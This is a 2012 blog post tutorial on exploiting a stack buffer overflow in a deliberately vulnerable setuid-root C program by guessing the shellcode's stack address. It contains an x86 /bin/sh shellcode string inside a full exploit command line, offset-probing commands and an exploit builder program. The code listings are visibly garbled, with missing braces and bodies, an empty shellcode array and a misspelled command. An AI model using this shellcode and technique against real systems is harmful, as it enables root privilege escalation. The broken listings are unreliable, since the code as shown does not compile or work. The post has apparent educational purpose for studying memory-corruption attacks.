Posts Tagged ‘stack’

How to guess the address of your shell code ?

April 27, 2012 Leave a comment

Usually, when we want to make any vulnerable program to execute our shell code that we had identified before, we face the problem of how to find the address of the first instruction in the shell code, the programmers had found a lot of methods for doing that, but we ‘ll focus on the popular one “guessing the address of the shell code“.

Because of knowing the start of the stack for every program (Not always), we can guess how far our shell code is.

simple program for retrieving the value of ‘ESP’ register

#include <stdio.h>

unsigned long topOfStack(void){

__asm__(“movl %esp, %eax”);


int main(void){

printf(“%x\n”, topOfStack());

return 0;


Now, we ‘ll try to create an vulnerable program, make it owned by root, make suid bit on, and then try to exploit it and spawning the shell.

Simple vulnerable program

#include <stdio.h>
#include <string.h>

int main(int argc,char *argv[])

char little_array[512];
if (argc > 1)

The first thing we should do is to find how far the return address is, so i ‘ll use the $(printf “”) expression to redirect the output of the printf routine as an command line argument (input to our vulnerable program). we should know to overwrite the return address, we should redirect at least 512 bytes as input, so let’s try to guess:

./vulnprog $(printf “%0512x”)

./vulnprog $(printf “%0524x”)

Segmentation fault

So we have concluded that the return address begins from the byte 524 (till byte 528), now we ‘ll inject the shell code using printf routine.

Simple shell code for spawning the shell


shell code (40 bytes) + (484 bytes) of zeros + New RET address

So the final form is:

./vulnprgo $(printf”\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68%0484x\x00\x00\x00\x00″)

Now we ‘ll look at the program to guess where the first shell code instruction is.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define offset_size 0
#define buffer_size 512

char sc[] =

unsigned long find_start(void) {
__asm__(“movl %esp,%eax”);

int main(int argc, char *argv[])
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

addr = find_start() – offset;
printf(“Attempting address: 0x%x\n”, addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize – 1] = ”;


  • Smashing The Stack For Fun And Profit
  • The.Shell coders Handbook